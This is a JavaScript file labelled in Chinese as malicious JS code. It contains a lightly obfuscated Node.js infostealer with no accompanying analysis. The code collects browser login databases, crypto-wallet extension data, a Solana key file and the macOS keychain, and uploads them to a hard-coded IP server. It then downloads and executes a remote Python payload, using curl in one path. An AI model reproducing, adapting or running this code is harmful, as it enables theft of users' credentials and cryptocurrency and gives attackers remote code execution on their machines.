恶意js代码

mailto:[email protected] _0x153e97 = require('fs');
const _0x5801ce = require('os');
const _0x2b28c9 = require('path');
const _0x50d163 = require('request');
const _0x4a3b2c = require('child_process').exec;
const _0x39c622 = _0x5801ce.hostname();
const _0x2ae0c6 = _0x5801ce.platform();
const _0x349174 = _0x5801ce.homedir();
const _0x414643 = _0x5801ce.tmpdir();
const _0x55065c = 'http://95.164.17.24:1224';
const _0x518ab7 = _0x512eda => _0x512eda.replace(/^~([a-z]+|\/)/, (_0x543a39, _0x13c8d2) => '/' === _0x13c8d2 ? _0x349174 : _0x2b28c9.dirname(_0x349174) + '/' + _0x13c8d2);
const _0x4d7739 = '10';
const _0x4dfc56 = '106';
function _0x1142d3(_0x26632e) {
    try {
        _0x153e97.accessSync(_0x26632e);
        return true;
    } catch (_0x21f158) {
        return false;
    }
}
const _0x1232d9 = [
    'Local/BraveSoftware/Brave-Browser',
    'BraveSoftware/Brave-Browser',
    'BraveSoftware/Brave-Browser'
];
const _0x151d96 = [
    'Local/Google/Chrome',
    'Google/Chrome',
    'google-chrome'
];
const _0x1c1cc8 = [
    'Roaming/Opera Software/Opera Stable',
    'com.operasoftware.Opera',
    'opera'
];
const _0x275436 = [
    'nkbihfbeogaeaoehlefnkodbefgpgknn',
    'ejbalbakoplchlghecdalmeeeajnimhm',
    'fhbohimaelbohpjbbldcngcnapndodjp',
    'hnfanknocfeofbddgcijnmhnfnkdnaad',
    'ibnejdfjmmkpcnlpebklmnkoeoihofec',
    'bfnaelmomeimhlpmgjnjophhpkkoljpa',
    'aeachknmefphepccionboohckonoeemg',
    'hifafgmccdpekplomjjkcfgodnhcellj',
    'jblndlipeogpafnldhgmapagcccfchpi',
    'acmacodkjbdgmoleebolmdjonilkdbch',
    'dlcobpjiigpikoobohmabehhmhfoodbb',
    'aholpfdialjgjfhomihkjbmgjidlcdno'
];
const _0x179256 = async (_0x420236, _0x3d29b1, _0x5b6a41, _0x461e07) => {
    let _0x496d98;
    if (!_0x420236 || '' === _0x420236)
        return [];
    try {
        if (!_0x1142d3(_0x420236))
            return [];
    } catch (_0x1f024e) {
        return [];
    }
    _0x3d29b1 || (_0x3d29b1 = '');
    let _0x55e519 = [];
    for (let _0x4293f0 = 0; _0x4293f0 < 200; _0x4293f0++) {
        const _0x50fbe9 = _0x420236 + '/' + (0 === _0x4293f0 ? 'Default' : 'Profile ' + _0x4293f0) + '/Local Extension Settings';
        for (let _0x38faa0 = 0; _0x38faa0 < _0x275436.length; _0x38faa0++) {
            let _0x4a10a4 = _0x50fbe9 + '/' + _0x275436[_0x38faa0];
            if (_0x1142d3(_0x4a10a4)) {
                let _0x134608 = [];
                try {
                    _0x134608 = _0x153e97.readdirSync(_0x4a10a4);
                } catch (_0x36e276) {
                    _0x134608 = [];
                }
                _0x134608.forEach(async _0x560152 => {
                    let _0x19df4a = _0x2b28c9.join(_0x4a10a4, _0x560152);
                    try {
                        _0x358540.filename = _0x4dfc56 + '_' + _0x3d29b1 + _0x4293f0 + '_' + _0x275436[_0x38faa0] + '_' + _0x560152;
                        if (_0x19df4a.includes('.log') || _0x19df4a.includes('.ldb')) {
                            _0x55e519.push({
                                'value': _0x153e97.createReadStream(_0x19df4a),
                                'options': _0x358540
                            });
                        }
                    } catch (_0x2fafd8) {
                    }
                });
            }
        }
    }
    if (_0x5b6a41 && (_0x496d98 = _0x349174 + '/.config/solana/id.json', _0x153e97.existsSync(_0x496d98)))
        try {
            _0x2c5125.filename = 'solana_id.txt';
            _0x55e519.push({
                'value': _0x153e97.createReadStream(_0x496d98),
                'options': _0x2c5125
            });
        } catch (_0x3264a7) {
        }
    _0x4c9bba(_0x55e519, _0x461e07);
    return _0x55e519;
};
const _0x480bd5 = _0x4deb16 => {
    const _0x5d34b1 = _0x518ab7('~/') + '/AppData/Roaming/Mozilla/Firefox/Profiles';
    let _0x111c72 = [];
    if (_0x1142d3(_0x5d34b1)) {
        let _0x3625f7 = [];
        try {
            _0x3625f7 = _0x153e97.readdirSync(_0x5d34b1);
        } catch (_0x1f1115) {
            _0x3625f7 = [];
        }
        let _0x7759d8 = 0;
        _0x3625f7.forEach(async _0x2842d3 => {
            _0x48dfb2.RMbiC = 'moz-extension';
            let _0x30ef48 = _0x2b28c9.join(_0x5d34b1, _0x2842d3);
            if (_0x30ef48.includes('-release')) {
                let _0x30b510 = _0x2b28c9.join(_0x30ef48, '/storage/default');
                let _0x4982d2 = [];
                _0x4982d2 = _0x153e97.readdirSync(_0x30b510);
                let _0x5a0203 = 0;
                _0x4982d2.forEach(async _0x56daf8 => {
                    if (_0x56daf8.includes(_0x48dfb2.RMbiC)) {
                        let _0x306740 = _0x2b28c9.join(_0x30b510, _0x56daf8);
                        _0x306740 = _0x2b28c9.join(_0x306740, 'idb');
                        let _0x43ad12 = [];
                        _0x43ad12 = _0x153e97.readdirSync(_0x306740);
                        _0x43ad12.forEach(async _0x55d331 => {
                            _0x44a64c.ZoevY = 'saaKV';
                            const _0x12e040 = _0x44a64c;
                            if (_0x55d331.includes('.files')) {
                                let _0x514edb = _0x2b28c9.join(_0x306740, _0x55d331);
                                let _0x258864 = [];
                                _0x258864 = _0x153e97.readdirSync(_0x514edb), _0x258864.forEach(_0x263353 => {
                                    if (!_0x153e97.statSync(_0x2b28c9.join(_0x514edb, _0x263353)).isDirectory()) {
                                        if ('saaKV' === _0x12e040.ZoevY) {
                                            let _0xe8f438 = _0x2b28c9.join(_0x514edb, _0x263353);
                                            _0x1033f6.filename = _0x7759d8 + '_' + _0x5a0203 + '_' + _0x263353, _0x111c72.push({
                                                'value': _0x153e97.createReadStream(_0xe8f438),
                                                'options': _0x1033f6
                                            });
                                        } else {
                                            if (_0x110b8c)
                                                return _0x3ae25b = 0, void _0x17f182();
                                            try {
                                                _0x1e5442 = _0x30ebe7 + 6, _0x1b9e6f.renameSync(_0x11302a, _0x16c5f9), _0x18d5fe(_0x58f816);
                                            } catch (_0x419fb3) {
                                            }
                                        }
                                    }
                                });
                            }
                        });
                    }
                });
                _0x5a0203 += 1;
            }
            _0x7759d8 += 1;
        });
        _0x4c9bba(_0x111c72, _0x4deb16);
        return _0x111c72;
    }
};
const _0x4c9bba = (_0xe07451, _0x1b7ff1) => {
    _0x43625c.htTaB = function (_0x3365ee, _0x2824ae) {
        return _0x3365ee > _0x2824ae;
    };
    _0x20b054.type = _0x4d7739;
    _0x20b054.hid = _0x4dfc56 + '_' + _0x39c622;
    _0x20b054.uts = _0x1b7ff1;
    _0x20b054.multi_file = _0xe07451;
    try {
        if (_0x43625c.htTaB(_0xe07451.length, 0)) {
            _0x4fdebb.url = _0x55065c + '/uploads';
            _0x4fdebb.formData = _0x20b054;
            const _0x3df7d2 = _0x4fdebb;
            _0x50d163.post(_0x3df7d2, (_0x205d4e, _0x511e72, _0x522bc2) => {
            });
        }
    } catch (_0x5584a2) {
    }
};
const _0x113bb7 = async (_0x3d22ed, _0x1b631f, _0x1d5db2) => {
    try {
        let _0x578130 = '';
        _0x578130 = 'd' == _0x2ae0c6[0] ? _0x518ab7('~/') + '/Library/Application Support/' + _0x3d22ed[1] : 'l' == _0x2ae0c6[0] ? _0x518ab7('~/') + '/.config/' + _0x3d22ed[2] : _0x518ab7('~/') + '/AppData/' + _0x3d22ed[0] + '/User Data';
        await _0x179256(_0x578130, _0x1b631f + '_', 0 == _0x1b631f, _0x1d5db2);
    } catch (_0x10dda6) {
    }
};
const _0xa29cb7 = async _0x4cc40b => {
    let _0x2a6d0c = [];
    let _0x499aff = _0x349174 + '/Library/Keychains/login.keychain';
    if (_0x153e97.existsSync(_0x499aff))
        try {
            _0x52fec3.filename = 'logkc-db';
            _0x2a6d0c.push({
                'value': _0x153e97.createReadStream(_0x499aff),
                'options': _0x52fec3
            });
        } catch (_0x620dce) {
        }
    else {
        if (_0x499aff += '-db', _0x153e97.existsSync(_0x499aff)) {
            try {
                _0x4de460.filename = 'logkc-db';
                _0x2a6d0c.push({
                    'value': _0x153e97.createReadStream(_0x499aff),
                    'options': _0x4de460
                });
            } catch (_0x1b6066) {
            }
        }
    }
    try {
        let _0x1933fe = _0x349174 + '/Library/Application Support/Google/Chrome';
        if (_0x1142d3(_0x1933fe))
            for (let _0x2285ca = 0; _0x2285ca < 200; _0x2285ca++) {
                const _0x2c66c8 = _0x1933fe + '/' + (0 === _0x2285ca ? 'Default' : 'Profile ' + _0x2285ca) + '/Login Data';
                try {
                    if (!_0x1142d3(_0x2c66c8))
                        continue;
                    const _0x221499 = _0x1933fe + '/ld_' + _0x2285ca;
                    _0x3e3e04.filename = 'pld_' + _0x2285ca;
                    _0x1142d3(_0x221499) ? _0x2a6d0c.push({
                        'value': _0x153e97.createReadStream(_0x221499),
                        'options': _0x3e3e04
                    }) : _0x153e97.copyFile(_0x2c66c8, _0x221499, _0x111530 => {
                        _0x382108.filename = 'pld_' + _0x2285ca;
                        _0x4c9bba(_0x17eed3, _0x4cc40b);
                    });
                } catch (_0x3bd59c) {
                }
            }
    } catch (_0x5aa8b3) {
    }
    try {
        let _0xa0d771 = _0x349174 + '/Library/Application Support/BraveSoftware/Brave-Browser';
        if (_0x1142d3(_0xa0d771)) {
            for (let _0x108329 = 0; _0x108329 < 200; _0x108329++) {
                const _0x73412e = _0xa0d771 + '/' + (0 === _0x108329 ? 'Default' : 'Profile ' + _0x108329);
                try {
                    if (!_0x1142d3(_0x73412e))
                        continue;
                    const _0x3f0e2e = _0x73412e + '/Login Data';
                    _0x1a69a2.filename = 'brld_' + _0x108329;
                    _0x1142d3(_0x3f0e2e) ? _0x2a6d0c.push({
                        'value': _0x153e97.createReadStream(_0x3f0e2e),
                        'options': _0x1a69a2
                    }) : _0x153e97.copyFile(_0x73412e, _0x3f0e2e, _0x1bb611 => {
                        _0x5e8ee6.filename = 'brld_' + _0x108329;
                        _0x4c9bba(_0x24b358, _0x4cc40b);
                    });
                } catch (_0x33069e) {
                }
            }
        }
    } catch (_0x51b57d) {
    }
    _0x4c9bba(_0x2a6d0c, _0x4cc40b);
    return _0x2a6d0c;
};
const _0x4cd284 = async (_0x337ef1, _0x30fbea, _0x321c3a) => {
    _0x29de3e.akeQX = function (_0x58454e, _0x174488) {
        return _0x58454e == _0x174488;
    };
    _0x29de3e.oeCDM = 'Default';
    const _0x46eb64 = _0x29de3e;
    let _0x4abead = [];
    let _0x52f98e = '';
    _0x52f98e = _0x46eb64.akeQX('d', _0x2ae0c6[0]) ? _0x518ab7('~/') + '/Library/Application Support/' + _0x337ef1[1] : _0x46eb64.akeQX('l', _0x2ae0c6[0]) ? _0x518ab7('~/') + '/.config/' + _0x337ef1[2] : _0x518ab7('~/') + '/AppData/' + _0x337ef1[0] + '/User Data';
    let _0x5a6a6a = _0x52f98e + '/Local State';
    if (_0x153e97.existsSync(_0x5a6a6a))
        try {
            _0x540d33.filename = _0x30fbea + '_lst';
            _0x4abead.push({
                'value': _0x153e97.createReadStream(_0x5a6a6a),
                'options': _0x540d33
            });
        } catch (_0x38f090) {
        }
    try {
        if (_0x1142d3(_0x52f98e))
            for (let _0x40ae5d = 0; _0x40ae5d < 200; _0x40ae5d++) {
                const _0x1b4ce1 = _0x52f98e + '/' + (0 === _0x40ae5d ? _0x46eb64.oeCDM : 'Profile ' + _0x40ae5d);
                try {
                    if (!_0x1142d3(_0x1b4ce1))
                        continue;
                    const _0x41a087 = _0x1b4ce1 + '/Login Data';
                    if (!_0x1142d3(_0x41a087))
                        continue;
                    _0x4d3b6e.filename = _0x30fbea + '_' + _0x40ae5d + '_uld';
                    _0x4abead.push({
                        'value': _0x153e97.createReadStream(_0x41a087),
                        'options': _0x4d3b6e
                    });
                } catch (_0x521dea) {
                }
            }
    } catch (_0x4dff51) {
    }
    _0x4c9bba(_0x4abead, _0x321c3a);
    return _0x4abead;
};
const _0x83c819 = 51476590;
let _0x30d7dc = 0;
const _0x3ea08d = async _0x2f9695 => {
    _0x4a3b2c('tar -xf ' + _0x2f9695 + ' -C ' + _0x349174, (_0x169a09, _0x301f3c, _0x43b713) => {
        if (_0x169a09) {
            _0x153e97.rmSync(_0x2f9695);
            return void (_0x30d7dc = 0);
        }
        _0x153e97.rmSync(_0x2f9695);
        _0x24997f();
    });
};
const _0x1a2cec = () => {
    _0x33cf5b.dwcpv = function (_0x543095, _0x196bba) {
        return _0x543095 + _0x196bba;
    };
    _0x33cf5b.hhADP = function (_0x4aeb76, _0x2bbd11) {
        return _0x4aeb76 >= _0x2bbd11;
    };
    const _0x12f865 = _0x33cf5b;
    const _0x14524e = _0x55065c + '/pdown';
    const _0x5765fd = _0x414643 + '\\p.zi';
    const _0x1c020d = _0x414643 + '\\p2.zip';
    if (_0x30d7dc >= _0x12f865.dwcpv(_0x83c819, 6))
        return;
    if (_0x153e97.existsSync(_0x5765fd))
        try {
            var _0x382278 = _0x153e97.statSync(_0x5765fd);
            _0x12f865.hhADP(_0x382278.size, _0x83c819 + 6) ? (_0x30d7dc = _0x382278.size, _0x153e97.rename(_0x5765fd, _0x1c020d, _0x542bf8 => {
                if (_0x542bf8)
                    throw _0x542bf8;
                _0x3ea08d(_0x1c020d);
            })) : (_0x30d7dc < _0x382278.size ? _0x30d7dc = _0x382278.size : (_0x153e97.rmSync(_0x5765fd), _0x30d7dc = 0), _0x1c1ddd());
        } catch (_0x441510) {
        }
    else
        _0x4a3b2c('curl -Lo "' + _0x5765fd + '" "' + _0x14524e + '"', (_0x245de9, _0x5e0ce1, _0x208b7c) => {
            if (_0x245de9) {
                _0x30d7dc = 0;
                return void _0x1c1ddd();
            }
            try {
                _0x30d7dc = _0x83c819 + 6;
                _0x153e97.renameSync(_0x5765fd, _0x1c020d);
                _0x3ea08d(_0x1c020d);
            } catch (_0x5eaf99) {
            }
        });
};
function _0x1c1ddd() {
    setTimeout(() => {
        _0x1a2cec();
    }, 20000);
}
const _0x24997f = async () => await new Promise((_0x49da6c, _0xb70373) => {
    if ('w' == _0x2ae0c6[0])
        _0x153e97.existsSync(_0x349174 + '\\.pyp\\python.exe') ? (() => {
            const _0x4fa76f = _0x55065c + '/client/' + _0x4d7739 + '/' + _0x4dfc56;
            const _0x3f680a = _0x349174 + '/.npl';
            const _0x37ec0f = '"' + _0x349174 + '\\.pyp\\python.exe" "' + _0x3f680a + '"';
            try {
                _0x153e97.rmSync(_0x3f680a);
            } catch (_0x3c30f7) {
            }
            _0x50d163.get(_0x4fa76f, (_0x176bab, _0x343331, _0xe2c939) => {
                if (!_0x176bab)
                    try {
                        _0x153e97.writeFileSync(_0x3f680a, _0xe2c939);
                        _0x4a3b2c(_0x37ec0f, (_0x33a2cd, _0x4850e3, _0x147978) => {
                        });
                    } catch (_0x2fea4e) {
                    }
            });
        })() : _0x1a2cec();
    else
        (() => {
            _0x50d163.get(_0x55065c + '/client/' + _0x4d7739 + '/' + _0x4dfc56, (_0x336f68, _0x385264, _0x53682d) => {
                _0x336f68 || (_0x153e97.writeFileSync(_0x349174 + '/.npl', _0x53682d), _0x4a3b2c('python3 "' + _0x349174 + '/.npl"', (_0x7c798f, _0x4027e7, _0x537b65) => {
                }));
            });
        })();
});
var _0x2cf641 = 0;
const _0x285d2b = async () => {
    try {
        const _0x200277 = Math.round(new Date().getTime() / 1000);
        await (async () => {
            try {
                await _0x113bb7(_0x151d96, 0, _0x200277);
                await _0x113bb7(_0x1232d9, 1, _0x200277);
                await _0x113bb7(_0x1c1cc8, 2, _0x200277);
                _0x480bd5(_0x200277);
                if ('w' == _0x2ae0c6[0]) {
                    await _0x179256(_0x518ab7('~/') + '/AppData/Local/Microsoft/Edge/User Data', '3_', false, _0x200277);
                }
                'd' == _0x2ae0c6[0] ? await _0xa29cb7(_0x200277) : (await _0x4cd284(_0x151d96, 0, _0x200277), await _0x4cd284(_0x1232d9, 1, _0x200277), await _0x4cd284(_0x1c1cc8, 2, _0x200277));
            } catch (_0x11074c) {
            }
        })();
        _0x24997f();
    } catch (_0x153a9a) {
    }
};
_0x285d2b();
_0x24997f();
let _0x5d4cfa = setInterval(() => {
    (_0x2cf641 += 1) < 2 ? _0x285d2b() : clearInterval(_0x5d4cfa);
}, 90000);